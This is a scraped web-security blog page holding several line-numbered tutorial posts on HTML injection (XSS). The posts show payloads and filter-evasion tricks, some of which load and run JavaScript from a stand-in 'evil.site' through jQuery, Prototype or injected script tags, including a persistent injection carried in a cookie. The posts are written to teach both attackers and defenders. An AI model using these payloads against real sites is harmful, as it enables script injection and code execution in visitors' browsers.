3225Two weaknesses enable attackers to shortcut what should be secure paths through a web app:
3226
3227Validation routines must be applied to all incoming data, not just parameters. Form fields and querystring parameters may be the most notorious attack vectors, but they’re not the only ones. Request headers and URL components are just as easy to manipulate.
3228Blacklisting often fails because developers have a poor understanding for or a limited imagination of crafting exploits. Even worse are filters built solely from observing automated tools, which leads to naive defenses like blocking alert or <script>.
3229Output encoding must be applied consistently. It’s one thing to have designed a strong function for inserting text into a web page; it’s another to make sure it’s implemented throughout the app. Attackers are going to follow these breadcrumbs through your app. Be careful, lest they eat a few along the way.
3230
3231Share this:
3232
3233inShare
32342More
3235
3236This entry was posted in html injection, web security and tagged html injection on September 25, 2013.
3237DRY Fiend (Conjuration/Summoning)
3238Thief PHBIn 1st edition AD&D two character classes had their own private languages: Druids and Thieves. Thus, a character could use the “Thieves’ Cant†to identify peers, bargain, threaten, or otherwise discuss malevolent matters with a degree of safety. (Of course, Magic-Users had that troublesome first level spell comprehend languages, and Assassins of 9th level or higher could learn secret or alignment languages forbidden to others.)
3239
3240Thieves rely on subterfuge (and high DEX) to avoid unpleasant ends. Shakespeare didn’t make it into the list of inspirational reading in Appendix N of the DMG. Even so, consider in Henry VI, Part II, how the Duke of Gloucester (later to be Richard III) defends his treatment of certain subjects, with two notable exceptions:
3241
3242Unless it were a bloody murderer,
3243?Or foul felonious thief that fleec’d poor passengers,
3244?I never gave them condign punishment.
3245Developers have their own spoken language for discussing code and coding styles. They litter conversations with terms of art like patterns and anti-patterns, which serve as shorthand for design concepts or litanies of caution. One such pattern is Don’t Repeat Yourself (DRY), of which Code Reuse is a lesser manifestation.
3246
3247Well, hackers code, too.
3248
3249The most boring of HTML injection examples is to display an alert() message. The second most boring is to insert the document.cookie value into a request. But this is the era of HTML5 and roses; hackers need look no further than a vulnerable Same Origin to find useful JavaScript libraries and functions.
3250
3251There are two important reasons for taking advantage of DRY in a web hack:
3252
3253Avoid incompetent blacklists (which is really a redundant term).
3254Leverage code that already exists.
3255Keep in mind that none of the following hacks are flaws of each respective JavaScript library. The target is assumed to have an HTML injection vulnerability — our goal is to take advantage of code already present on the hacked site in order to minimize our effort.
3256
3257For example, imagine an HTML injection vulnerability in a site that uses the AngularJS library. The attacker could use a payload like:
3258
3259angular.bind(self, alert, 9)()
3260In Ember.js the payload might look like:
3261
3262Ember.run(null, alert, 9)
3263The pervasive jQuery might have a string like:
3264
3265$.globalEval(alert(9))
3266And the Underscore library might be leveraged with:
3267
3268_.defer(alert, 9)
3269These are nice tricks. They might seem to do little more than offer fancy ways of triggering an alert() message, but the code is trivially modifiable to a more lethal version worthy of a vorpal blade.
3270
3271More importantly, these libraries provide the means to load — and execute! — JavaScript from a different origin. After all, browsers don’t really know the difference between a CDN and a malicious domain.
3272
3273The jQuery library provides a few ways to obtain code:
3274
3275$.get('//evil.site/')
3276$('#selector').load('//evil.site')
3277Prototype has an Ajax object. It will load and execute code from a call like:
3278
3279new Ajax.Request('//evil.site/')
3280But this has a catch: the request includes “non-simple†headers via the XHR object and therefore triggers a CORS pre-flight check in modern browsers. An invalid pre-flight response will cause the attack to fail. Cross-Origin Resource Sharing is never a problem when you’re the one sharing the resource.
3281
3282In the Prototype Ajax example, a browser’s pre-flight might look like the following. The initiating request comes from a link we’ll call http://web.site/xss_vuln.page.
3283
3284OPTIONS http://evil.site/ HTTP/1.1
3285Host: evil.site
3286User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0
3287Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
3288Accept-Language: en-US,en;q=0.5
3289Origin: http://web.site
3290Access-Control-Request-Method: POST
3291Access-Control-Request-Headers: x-prototype-version,x-requested-with
3292Connection: keep-alive
3293Pragma: no-cache
3294Cache-Control: no-cache
3295Content-length: 0
3296As someone with influence over the content served by evil.site, it’s easy to let the browser know that this incoming cross-origin XHR request is perfectly fine. Hence, we craft some code to respond with the appropriate headers:
3297
3298HTTP/1.1 200 OK
3299Date: Tue, 27 Aug 2013 05:05:08 GMT
3300Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26
3301Access-Control-Allow-Origin: http://web.site
3302Access-Control-Allow-Methods: GET, POST
3303Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with
3304Access-Control-Expose-Headers: x-json
3305Content-Length: 0
3306Keep-Alive: timeout=5, max=100
3307Connection: Keep-Alive
3308Content-Type: text/html; charset=utf-8
3309With that out of the way, the browser continues its merry way to the cursed resource. We’ve done nothing to change the default behavior of the Ajax object, so it produces a POST. (Changing the method to GET would not have avoided the CORS pre-flight because the request would have still included custom X- headers.)
3310
3311POST http://evil.site/HWA/ch2/cors_payload.php HTTP/1.1
3312Host: evil.site
3313User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0
3314Accept: text/javascript, text/html, application/xml, text/xml, */*
3315Accept-Language: en-US,en;q=0.5
3316X-Requested-With: XMLHttpRequest
3317X-Prototype-Version: 1.7.1
3318Content-Type: application/x-www-form-urlencoded; charset=UTF-8
3319Referer: http://web.site/HWA/ch2/prototype_xss.php
3320Content-Length: 0
3321Origin: http://web.site
3322Connection: keep-alive
3323Pragma: no-cache
3324Cache-Control: no-cache
3325Finally, our site responds with CORS headers intact and a payload to be executed. We’ll be even lazier and tell the browser to cache the CORS response so it’ll skip subsequent pre-flights for a while.
3326
3327HTTP/1.1 200 OK
3328Date: Tue, 27 Aug 2013 05:05:08 GMT
3329Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26
3330X-Powered-By: PHP/5.3.26
3331Access-Control-Allow-Origin: http://web.site
3332Access-Control-Allow-Methods: GET, POST
3333Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with
3334Access-Control-Expose-Headers: x-json
3335Access-Control-Max-Age: 86400
3336Content-Length: 10
3337Keep-Alive: timeout=5, max=99
3338Connection: Keep-Alive
3339Content-Type: application/javascript; charset=utf-8
3340
3341alert(9);
3342Okay. So, it’s another alert() message. I suppose I’ve repeated myself enough on that topic for now.
3343
3344It should be noted that Content Security Policy just might help you in this situation. The catch is that you need to have architected your site to remove all inline JavaScript. That’s not always an easy feat. Even experienced developers of major libraries like jQuery are struggling to create CSP-compatible content.
3345Find/Remove Traps
3346Never the less, auditing and improving code for CSP is a worthwhile endeavor. Even 1st level thieves only have a 20% change to Find/Remove Traps. The chance doesn’t hit 50% until 7th level. Improvement takes time.
3347
3348And the price for failure? Well, it turns out condign punishment has its own API.
3349
3350Share this:
3351
3352inShare
33532More
3354
3355This entry was posted in html injection, web security and tagged CORS, html injection, JavaScript on August 27, 2013.
3356Two Hearts That Beat As One
3357A common theme among injection attacks that manifest within a JavaScript context (e.g. <script> tags) is that proper payloads preserve proper syntax. We’ve belabored the point of this dark art with such dolorous repetition that even Professor Umbridge might approve.
3358
3359We’ve covered the most basic of HTML injection exploits, exploits that need some tweaking to bypass weak filters, and different ways of constructing payloads to preserve their surrounding syntax. The typical process is choose a parameter (or a cookie!), find if and where its value shows up in a page, hack the page. It’s a single-minded purpose against a single injection vector.
3360
3361Until now.
3362
3363It’s possible to maintain this single-minded purpose, but to do so while focusing on two variables. This is an elusive beast of HTML injection in which an app reflects more than one parameter within the same page. It gives us more flexibility in the payloads, which sometimes helps evade certain kinds of patterns used in input filters or web app firewall rules.
3364
3365This example targets two URL parameters used as arguments to a function that expects the start and end of a time period. Forget time, we’d like to start an attack and end with its success.
3366
3367Here’s a version of the link with numeric arguments:
3368
3369https://web.site/TimeZone.aspx?start=1&end=2
3370
3371The app uses these values inside a <script> block, as follows:
3372
3373<script>
3374var start = 1,
3375 end = 2;
3376
3377$(JM.Scheduler.TimeZone.init(start, end));
3378foo.init();
3379</script>
3380The “normal†attack is simple:
3381
3382https://web.site/TimeZone.aspx?start=alert(9);//&end=2
3383
3384This results in a successful alert(), but the app has some sort of silly check that strips the end value if it’s not greater than the start. Thus, you can’t have start=2&end=1. And the comparison always fails if you use a string for start, because end will never be greater than whatever the string is cast to (likely zero). At least the devs remembered to enforce numeric consistency in spite of security deficiency.
3385
3386<script>
3387var start = alert(9);//,
3388 end = ;
3389
3390$(JM.Scheduler.TimeZone.init(start, end));
3391foo.init();
3392</script>
3393But that’s inelegant compared with the attention to detail we’ve been advocating for exploit creation. The app won’t assign a value to end, thereby leaving us with a syntax error. To compound the issue, the developers have messed up their own code, leaving the browser to complain:
3394
3395ReferenceError: Can’t find variable: $
3396
3397Let’s see what we can do to help. For starters, we’ll just assign start to end (internally, the app has likely compared a string-cast-to-number with another string-cast-to-number, both of which fail identically, which lets the payload through). Then, we’ll resolve the undefined variable for them — but only because we want a clean error console upon delivering the attack.
3398
3399https://web.site/TimeZone.aspx?start=alert(9);//&end=start;$=null
3400
3401<script>
3402var start = alert(9);//,
3403 end = start;$=null;
3404
3405$(JM.Scheduler.TimeZone.init(start, end));
3406foo.init();
3407</script>
3408What’s interesting about “two factor†vulns like this is the potential for using them to bypass validation filters.
3409
3410https://web.site/TimeZone.aspx?start=window[“aleâ€/*&end=*/%2bâ€rtâ€](9)
3411
3412<script>
3413var start = window["ale"/*
3414 end = */+"rt"](9);
3415
3416$(JM.Scheduler.TimeZone.init(start, end));
3417foo.init();
3418</script>
3419Rather than think about different ways to pop an alert() in someone’s browser, think about what could be possible if jQuery was already loaded in the page. Thanks to JavaScript’s design, it doesn’t even hurt to pass extra arguments to a function:
3420
3421https://web.site/TimeZone.aspx?start=$[“getScâ€%2bâ€riptâ€](“http://evil.site/â€&end=undefined)
3422
3423<script>
3424var start = $["getSc"+"ript"]("http://evil.site/",
3425 end = undefined);
3426
3427$(JM.Scheduler.TimeZone.init(start, end));
3428foo.init();
3429</script>
3430And if it’s necessary to further obfuscate the payload we might try this:
3431
3432https://web.site/TimeZone.aspx?start=%22getSc%22%2b%22ript%22&end=$[start]%28%22//evil.site/%22%29
3433
3434<script>
3435var start = "getSc"+"ript",
3436 end = $[start]("//evil.site/");
3437
3438$(JM.Scheduler.TimeZone.init(start, end));
3439foo.init();
3440</script>
3441Maybe combining two parameters into one attack reminds you of the theme of two hearts from 80s music. Possibly U2’s War from 1983. I never said I wasn’t gonna tell nobody about a hack like this, just like that Stacey Q song a few years later — two of hearts, two hearts that beat as one. Or Phil Collins’ Two Hearts three years after that.
3442
3443Although, if you forced me to choose between two hearts that beat as one, I’d choose a Timelord, of course. In particular, someone that preceded all that music: Tom Baker. Jelly Baby, anyone?
3444Tom Baker
3445
3446Share this:
3447
3448inShare
34493More
3450
3451This entry was posted in html injection, web security and tagged html injection, JavaScript on June 24, 2013.
3452A True XSS That Needs To Be False
3453SummaLogicae
3454It is on occasion necessary to persuade a developer that an HTML injection vuln capitulates to exploitation notwithstanding the presence within of a redirect that conducts the browser away from the exploit’s embodied alert(). Sometimes, parsing an expression takes more effort that breaking it.
3455
3456So, redirect your attention from defeat to the few minutes of creativity required to adjust an unproven injection into a working one. Here’s the URL we start with:
3457
3458https://web.site/UnknownError.aspx?id=â€onmouseover=alert(9);a=â€
3459
3460The page reflects the value of this id parameter within an href attribute. There’s nothing remarkable about this payload or how it appears in the page. At least, not at first:
3461
3462<a href="mailto:support@web.site?subject=error reference: "onmouseover=alert(9);a="">support@web.site</a>
3463Yet the browser goes into an infinite redirect loop without ever launching the alert. We explore the page a bit more to discover some anti-framing JavaScript where our URL shows up. (Bizarrely, the anti-framing JavaScript shows up almost 300 lines into the <body> element — well after several other JavaScript functions and page content. It should have been present in the <head>. It’s like the developers knew they should do something about clickjacking, heard about a top.location trick, and decided to randomly sprinkle some code in the page. It would have been simpler and more secure to add an X-Frame-Options header.)
3464
3465<script type="text/javascript">
3466if (window.top.location != 'https://web.site/UnknownError.aspx?id="onmouseover=alert(9);a="') {
3467 window.top.location.href = 'https://web.site/UnknownError.aspx?id="onmouseover=alert(9);a="';
3468}
3469</script>
3470The URL in your browser bar may look exactly like the URL in the inequality test. However, the location.href property contains the URL-encoded (a.k.a. percent encoded) version of the string, which causes the condition to resolve to true, which in turn causes the browser to redirect to the new location.href. As such, the following two strings are not identical:
3471
3472https://web.site/UnknownError.aspx?id=%22onmouseover=alert(9);a=%22
3473https://web.site/UnknownError.aspx?id=â€onmouseover=alert(9);a=â€
3474
3475Since the anti-framing triggers before the browser encounters the affected href, the onmouseover payload (or any other payload inserted in the tag) won’t trigger.
3476
3477This isn’t a problem. Just redirect your onhack event from the href to the if statement. This step requires a little bit of creativity because we’d like the conditional to ultimately resolve false to prevent the browser from being redirected. It makes the exploit more obvious.
3478
3479JavaScript syntax provides dozens of options for modifying this statement. We’ll choose concatenation to execute the alert() and a Boolean operator to force a false outcome.
3480
3481The new payload is
3482
3483'+alert(9)&&null=='
3484
3485Which results in this:
3486
3487<script type="text/javascript">
3488if (window.top.location != 'https://web.site/UnknownError.aspx?id='+alert(9)&&null=='') {
3489 window.top.location.href = 'https://web.site/UnknownError.aspx?id='+alert(9)&&null=='';
3490}
3491</script>
3492Note that we could have used other operators to glue the alert() to its preceding string. Any arithmetic operator would have worked.
3493
3494We used innocuous characters to make the statement false. Ampersands and equal signs are familiar characters within URLs. But we could have tried any number of alternates. Perhaps the presence of “null†might flag the URL as a SQL injection attempt. We wouldn’t want to be defeated by a lucky WAF rule. All of the following alternate tests return false:
3495
3496undefined==''
3497[]!=''
3498[]===''
3499
3500This example demonstrated yet another reason to pay attention to the details of an HTML injection vuln. The page reflected a URL parameter in two locations with execution different contexts. From the attacker’s perspective, we’d have to resort to intrinsic events or injecting new tags (e.g. <script>) after the href, but the if statement drops us right into a JavaScript context. From the defender’s perspective, we should have at the very least used an appropriate encoding on the string before writing it to the page — URL encoding would have been a logical step.
3501
3502Share this:
3503
3504inShare
35052More
3506
3507This entry was posted in html injection, web security and tagged html injection, JavaScript on June 18, 2013.
3508A Hidden Benefit of HTML5
3509Try parsing a web page some time. If you’re lucky, it’ll be “correct†HTML without too many typos. You might get away with using some regexes to accomplish this task, but be prepared for complex elements and attributes. And good luck dealing with code inside <script> tags.
3510
3511Sometimes there’s a long journey between seeing the potential for HTML injection in a few reflected characters and crafting a successful exploit that works around validation filters and avoids being defeated by output encoding schemes. Sometimes it’s necessary to wander the dusty passages of parsing rules in search of a hidden door that opens an element to being exploited.
3512
3513HiddenShrineOfTamoachan
3514
3515HTML is messy. The history of HTML even more so. Browsers struggled for two decades with badly written markup, typos, quirks, mis-nested tags, and misguided solutions like XHTML. And they’ve always struggled with sites that are vulnerable to HTML injection.
3516
3517And every so often, it’s the hackers who struggle with getting an HTML injection attack to work. Here’s a common scenario in which some part of a URL is reflected within the value of an hidden input field. In the following example, note that the quotation mark has not been filtered or encoded.
3518
3519http://web.site/search?sortOn=xâ€
3520
3521<input type="hidden" name="sortOn" value="x"">
3522If the site doesn’t strip or encode angle brackets, then it’s trivial to craft an exploit. In the next example we’ve even tried to be careful about avoiding dangling brackets by including a <z" sequence to consume it. A <z> tag with an empty attribute is harmless.
3523
3524http://web.site/search?sortOn=xâ€><script>alert(9)</script><zâ€
3525
3526<input type="hidden" name="sortOn" value="x"><script>alert(9)</script><z"">
3527Now, let’s make this scenario trickier by forbidding angle brackets. If this were another type of input field, we’d resort to intrinsic events.
3528
3529<input type="hidden" name="sortOn" value="x"onmouseover=alert(9)//">
3530Or, taking advantage of new HTML5 events, we’d use the onfocus event to execute the JavaScript rather than wait for a mouseover.
3531
3532<input type="hidden" name="sortOn" value="x"autofocus/onfocus=alert(9)//">
3533The catch here is that the hidden input type doesn’t receive those events and therefore won’t trigger the alert. But it’s not yet time to give up. We could work on a theory that changing the input type would enable the field to receive these events.
3534
3535<input type="hidden" name="sortOn" value="x"type="text"autofocus/onfocus=alert(9)//">
3536But modern browsers won’t fall for this. And we have HTML5 to thank for it. Section 8 of the spec codifies the HTML syntax for all browsers that wish to parse it. From the spec, 8.1.2.3 Attributes:
3537
3538“There must never be two or more attributes on the same start tag whose names are an ASCII case-insensitive match for each other.â€
3539Okay, we have a constraint, but no instructions on how to handle this error condition. Without further instructions, it’s not clear how a browser should handle multiple attribute names. Ambiguity leads to security problems; it’s to be avoided at all costs.
3540
3541From the spec, 8.2.4.35 Attribute name state
3542
3543“When the user agent leaves the attribute name state (and before emitting the tag token, if appropriate), the complete attribute’s name must be compared to the other attributes on the same token; if there is already an attribute on the token with the exact same name, then this is a parse error and the new attribute must be dropped, along with the value that gets associated with it (if any).â€
3544So, we’ll never be able to fool a browser by “casting†the input field to a different type by a subsequent attribute. Well, almost never. Notice the subtle qualifier: subsequent.
3545
3546(The messy history of HTML continues unabated by the optimism of a version number. The HTML Living Standard defines parsing rules in HTML Living Standard section 12. It remains to be seen how browsers handle the interplay between HTML5 and the Living Standard, and whether they avoid the conflicting implementations that led to quirks of the past.)
3547
3548Think back to our injection example. Imagine the order of attributes were different for the vulnerable input tag, with the name and value appearing before the type. In this case our “type cast†succeeds because the first type attribute is the one we’ve injected.
3549
3550<input name="sortOn" value="x"type="text"autofocus/onfocus=alert(9)//" type="hidden" >
3551HTML5 design specs only get us so far before they fall under the weight of developer errors. The HTML Syntax rules aren’t a countermeasure for HTML injection, but the presence of clear (at least compared to previous specs), standard rules shared by all browsers improves security by removing a lot of surprise from browsers’ behaviors.
3552
3553Unexpected behavior hides many security flaws from careless developers. Dan Geer addresses the challenge of dealing with the unexpected in his working definition of security as
3554“the absence of unmitigatable surprise“. Look for flaws in modern browsers where this trick works, (e.g. maybe a compatibility mode or not using an explicit <!doctype html> weakens the browser’s parsing algorithm). With luck, most of the problems you discover will be implementation errors to be fixed in a particular browser rather than a design change required of the spec.
3555
3556HTML5 gives us a better design to help minimize parsing-based security problems. It’s up to web developers to design better sites to help maximize the security of our data.
3557
3558Share this:
3559
3560inShare
35613More
3562
3563This entry was posted in html injection, web security and tagged html injection, html5 on June 14, 2013.
3564The Wrong Location for a Locale
3565Web sites that wish to appeal to broad audiences use internationalization techniques that enable content and labeling to be substituted based on a user’s language preferences without having to modify layout or functionality. A user in Canada might choose English or French, a user in Lothlórien might choose Quenya or Sindarin, and member of the Oxford University Dramatic Society might choose to study Hamlet in the original Klingon.
3566
3567Unicode and character encoding like UTF-8 were designed to enable applications to represent the written symbols for these languages. (No one creates web sites to support parseltongue because snakes can’t use keyboards and they always eat the mouse. But that still doesn’t seem fair; they’re pretty good at swipe gestures.)Namárië
3568
3569A site’s written language conveys utility and worth to its visitors. A site’s programming language gives headaches and stress to its developers. Developers prefer to explain why their programming language is superior to others. Developers prefer not to explain why they always end up creating HTML injection vulnerabilities with their superior language.
3570
3571Several previous posts have shown how HTML injection attacks are reflected from a URL parameter in a web page, or even how the URL fragment — which doesn’t make a round trip to the web site — isn’t exactly harmless. Sometimes the attack persists after the initial injection has been delivered, the payload having been stored somewhere for later retrieval, such as being associated with a user’s session by a tracking cookie.
3572
3573And sometimes the attack exists and persists in the cookie itself.
3574
3575Here’s a site that keeps a locale parameter in the URL, right where we like to test for vulns like XSS.
3576
3577http://web.site/page.do?locale=en_US
3578There’s a bunch of payloads we could start with, but the most obvious one is our faithful alert() message, as follows:
3579
3580http://web.site/page.do?locale=en_US%22%3E%3Cscript%3Ealert%289%29%3C/script%3E
3581No reflection. Almost. There’s a form on this page that has a hidden _locale field whose value contains the same string as the default URL parameter:
3582
3583<input type="hidden" name="_locale" value="en_US">
3584Sometimes developers like to use regexes or string comparisons to catch dangerous text like <script> or alert. Maybe the site has a filter that caught our payload, silently rejected it, and reverted the value to the default en_US. How inhibiting of them.
3585
3586Maybe we can be smarter than a filter. After a couple of variations we come upon a new behavior that demonstrates a step forward for reflection. Throw a CRLF or two into the payload.
3587
3588http://web.site/page.do?locale=en_US%22%3E%0A%0D%3Cscript%3Ealert(9)%3C/script%3E%0A%0D
3589The catch is that some key characters in the hack have been rendered into an HTML encoded version. But we also discover that the reflection takes place in more than just the hidden form field. First, there’s an attribute for the <body> :
3590
3591<body id="ex-lang-en" class="ex-tier-ABC ex-cntry-US&# 034;>
3592
3593<script>alert(9)</script>
3594
3595">
3596And the title attribute of a <span>:
3597
3598<span class="ex-language-select-indicator ex-flag-US" title="US&# 034;>
3599
3600<script>alert(9)</script>
3601
3602"></span>
3603And further down the page, as expected, in a form field. However, each reflection point killed the angle brackets and quote characters that we were relying on for a successful attack.
3604
3605<input type="hidden" name="_locale" value="en_US">
3606
3607<script>alert(9)</script>
3608
3609" id="currentLocale" />
3610We’ve only been paying attention to the immediate HTTP response to our attack’s request. The possibility of a persistent HTML injection vuln means we should poke around a few other pages. With a little patience, we find a “Contact Us†page that has some suspicious text. Take a look at the opening <html> tag of the following example, we seem to have messed up an xml:lang attribute so much that the payload appears twice:
3611
3612<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
3613<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
3614
3615<script>alert(9)</script>
3616
3617" xml:lang="en-US">
3618
3619<script>alert(9)</script>
3620
3621">
3622<head>
3623And something we hadn’t seen before on this site, a reflection inside a JavaScript variable near the bottom of the <body> element. (HTML authors seem to like SHOUTING their comments. Maybe we should encourage them to comment pages with things like // STOP ENABLING HTML INJECTION WITH STRING CONCATENATION. I’m sure that would work.)
3624
3625<!-- Include the Reference Page Tag script -->
3626<!--//BEGIN REFERENCE PAGE TAG SCRIPT-->
3627<script type="text/javascript">
3628 var v = {};
3629 v["v_locale"] = 'en_US">
3630
3631<script>alert(9)</script>
3632
3633';
3634</script>
3635Since a reflection point inside a <script> tag is clearly a context for JavaScript execution, we could try altering the payload to break out of the string variable:
3636
3637http://web.site/page.do?locale=en_USâ€>%0A%0D’;alert(9)//
3638Too bad the apostrophe character (‘) remains encoded:
3639
3640<script type="text/javascript">
3641 var v = {};
3642 v["v_locale"] = 'en_US&# 034;>
3643
3644&# 039;;alert(9)//';
3645</script>
3646That countermeasure shouldn’t stop us. This site’s developers took the time to write some vulnerable code. The least we can do is spend the effort to exploit it. Our browser didn’t execute the naked <script> block before the <head> element. What if we loaded some JavaScript from a remote resource?
3647
3648http://web.site/page.do?locale=en_US%22%3E%0A%0D%3Cscript%20src=%22http://evil.site/%22%3E%3C/script%3E%0A%0D
3649As expected, the page.do’s response contains the HTML encoded version of the payload. We lose quotes (some of which are actually superfluous for this payload).
3650
3651<body id="lang-en" class="tier-level-one cntry-US&# 034;>
3652
3653<script src=&# 034;http://evil.site/&# 034;></script>
3654
3655">
3656But if we navigate to the “Contact Us†page we’re greeted with an alert() from the JavaScript served by evil.site.
3657
3658<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
3659
3660<script src="http://evil.site/"></script>
3661
3662" xml:lang="en-US">
3663
3664<script src="http://evil.site/"></script>
3665
3666">
3667<head>
3668Yé! utúvienyes! Done and exploited. But what was the complete mechanism? The GET request to the contact page didn’t contain the payload — it’s just
3669
3670http://web.site/contactUs.do
3671So, the site must have persisted the payload somewhere. Check out the cookies that accompanied the request to the contact page:
3672
3673Cookie: v1st=601F242A7B5ED42A;
3674 JSESSIONID=CF44DA19A31EA7F39E14BB27D4D9772F;
3675 sessionLocale="en_US\"> <script src=\"http://evil.site/\"></script> ";
3676 exScreenRes=done
3677Sometime between the request to page.do and the contact page the site decided to take the locale parameter from page.do and place it in a cookie. Then, the site took the cookie presented in the request to the contact page, wrote it into the HTML (on the server side, not via client-side JavaScript), and let the user specify a custom locale. The locale isn’t as picturesque as Hogwarts, nor as destitute as District 12, but Hermione and Katniss would rip apart a vuln like this.Hermione's Exam Schedule
3678
3679Share this:
3680
3681inShare
36824More
3683
3684This entry was posted in html injection, web security and tagged html injection, tutorial on March 27, 2013.
3685Insistently Marketing Persistent XSS
3686Want to make your site secure? Write secure code. Want to make it less secure? Add someone else’s code to it. Even better, do it in the “cloud.â€
3687
3688The last few HTML injection articles here demonstrated the reflected variant of the attack. The exploit appears within the immediate response to the request that contains the XSS payload. These kinds of attacks are also ephemeral because the exploit disappears once the victim browses away from the infected page. The attack must be re-delivered for every visit to the vulnerable page.
3689
3690A persistent HTML injection is more insidious. The web site still reflects the payload into a page, but not necessarily in the immediate response to the request that delivered the payload. You have to find the payload, e.g. the friendly alert(), in some other area of the app. In many cases the payload only needs to be delivered once. Any subsequent visit to the page where it’s reflected exposes the visitor to the exploit. This is very dangerous when the page has a one-to-many relationship where one attacker infects the page and many users visit the page via normal “safe†links that don’t have an XSS payload.
3691
3692Persistence comes in many guises and durations. Here’s one that associates the persistence with a cookie.
3693
3694Our example of the day decided to track users for marketing and advertising purposes. There’s little reason to love user tracking (unless 95% of your revenue comes from it), but you might like it a little more if you could use it for HTML injection.
3695
3696The hack starts off like any other reflected XSS test. Another day, another alert:
3697
3698http://web.site/page.aspx?om=alert(9)
3699But the response contains nothing interesting. It didn’t reflect any piece of the payload, not even in an HTML encoded or stripped version. And — spoiler alert — not in the following script block:
3700
3701<script language="JavaScript" type="text/javascript">//<![CDATA[<!--/* [ads in the cloud] Variables */
3702s.prop4="quote";
3703s.events="event2";
3704s.pageName="quote1";
3705if(s.products) s.products = s.products.replace(/,$/,'');
3706if(s.events) s.events = s.events.replace(/^,/,'');
3707/****** DO NOT ALTER ANYTHING BELOW THIS LINE ! ******/
3708var s_code=s.t();if(s_code)document.write(s_code);//-->//]]></script>
3709But we’re not at the point of nothing ventured, nothing gained. We’re just at the point of nothing reflected, something might still be wrong.
3710
3711So we poke around at some more links on the site. Just visiting them as any user might without injecting any new payloads, working under the assumption that the payload could have found a persistent lair to curl up in and wait for an unsuspecting victim.
3712
3713Sure enough we find a reflection in an (apparently) unrelated link. Note that the payload has already been delivered. This request has no indicators of XSS:
3714
3715http://web.site/wacky/archives/2012/cute_animal.aspx
3716We find the alert() nested inside a JavaScript variable where, sadly, it remains innocuous and unexploited. For reasons we don’t care about, a comment warns us not to ALTER ANYTHING BELOW THIS LINE!
3717
3718You don’t have to shout. We’ll just alter things above the line.
3719
3720<script language="JavaScript" type="text/javascript">//<![CDATA[<!--/* [ads in the cloud] Variables */
3721s.prop17="alert(9)";
3722s.pageName="ar_2012_cute_animal";
3723if(s.products) s.products = s.products.replace(/,$/,'');
3724if(s.events) s.events = s.events.replace(/^,/,'');
3725/****** DO NOT ALTER ANYTHING BELOW THIS LINE ! ******/
3726var s_code=s.t();if(s_code)document.write(s_code);//-->//]]></script>
3727There are plenty of fun ways to inject into JavaScript string concatenation. We’ll stick with the most obvious plus (+) operator. To do this we need to return to the original injection point and alter the payload (just don’t touch ANYTHING BELOW THIS LINE!).
3728
3729http://web.site/page.aspx?om=â€%2balert(9)%2bâ€
3730We head back to the cute_animal.aspx page to see how the payload fared. Before we can click to Show Page Source we’re greeted with that happy hacker greeting, the friendly alert() window.
3731
3732<script language="JavaScript" type="text/javascript">//<![CDATA[<!--/* [ads in the cloud] Variables */
3733s.prop17=""+alert(9)+"";
3734s.pageName="ar_2012_cute_animal";
3735if(s.products) s.products = s.products.replace(/,$/,'');
3736if(s.events) s.events = s.events.replace(/^,/,'');
3737/****** DO NOT ALTER ANYTHING BELOW THIS LINE ! ******/
3738var s_code=s.t();if(s_code)document.write(s_code);//-->//]]></script>
3739After experimenting with a few variations on the request to the reflection point (the cute_animal.aspx page) we narrow the persistent carrier to a cookie value. The cookie is a long string of hexadecimal digits whose length and content does not change between requests. This is a good hint that it’s some sort of UUID that points to a record in a data store that contains the XSS payload from the om variable. (The cookie’s unchanging nature implies that the payload is not inserted into the cookie, encrypted or otherwise.) Get rid of the cookie and the alert no longer appears.
3740
3741The cause appears to be string concatenation where the s.prop17 variable is assigned a value associated with the cookie. It’s a common, basic, insecure design pattern.
3742
3743So, we have a persistent HTML injection tied to a user-tracking cookie. A diminishing factor in this vuln’s risk is that the effect is limited to individual visitors. It’d be nice it we could recommend getting rid of user tracking as the security solution, but the real issue is applying good software engineering practices when inserting client-side data into HTML. But we’re not done with user tracking yet. There’s this concept called privacy…
3744
3745But that’s a story for another day.
3746
3747Share this:
3748
3749inShare
37503More
3751
3752This entry was posted in html injection, web security and tagged html injection, tutorial on March 21, 2013.
3753Older posts
3754Search for:
3755 Search
3756READ MORE
3757
3758You’ve Violated APE Law!
3759Codex Securum, Obiter Dictum
3760Battling Geologic Time
3761Bad Code Entitles Good Exploits
3762RSA APJ 2014, CDS-W07 Slides
3763A Monstrous Confluence
3764RSA USA 2014, DSP-R04A Slides
3765Fonts of Dis-Knowledge
3766The Rank Decay Contingency
3767BUY ME!
3768
3769
3770TOP POSTS & PAGES
3771
3772Know Your JavaScript (Injections)
3773HTML Injection
3774Cross-Site Tracing (XST): The misunderstood vulnerability
3775A Lesser XSS Attack Greater Than Your Regex Security
3776JavaScript Is Harmless
3777Regex-based security filters sink without anchors
3778A Spirited Peek into ViewState, Part I
3779Book Shelf
3780Primordial cross-site scripting (XSS) exploits
3781Soylent Grün ist Menschenfleisch
3782THE AUTHOR
3783
3784 Mike Shema
3785CATEGORIES
3786
37877dwa
3788browser security
3789C++
3790coding
3791commentary
3792completely unrelated
3793cross site tracing
3794crypto
3795csrf
3796denial of service
3797fiction
3798html injection
3799html5
3800HWA
3801infosec
3802l'huile de snake
3803passwords
3804phishing
3805security metrics
3806sql injection
3807Uncategorized
3808unicode
3809viewstate
3810web scanner evaluation
3811web security
3812web security history
3813Copyright © 2008-2016 Mike Shema
3814META
3815
3816Register
3817Log in
3818Entries RSS
3819Comments RSS
3820WordPress.com
3821The Twenty Twelve Theme. Blog at WordPress.com.
3822
3823----
3824
3825Cross site scripting
3826Site search
3827
3828 Search
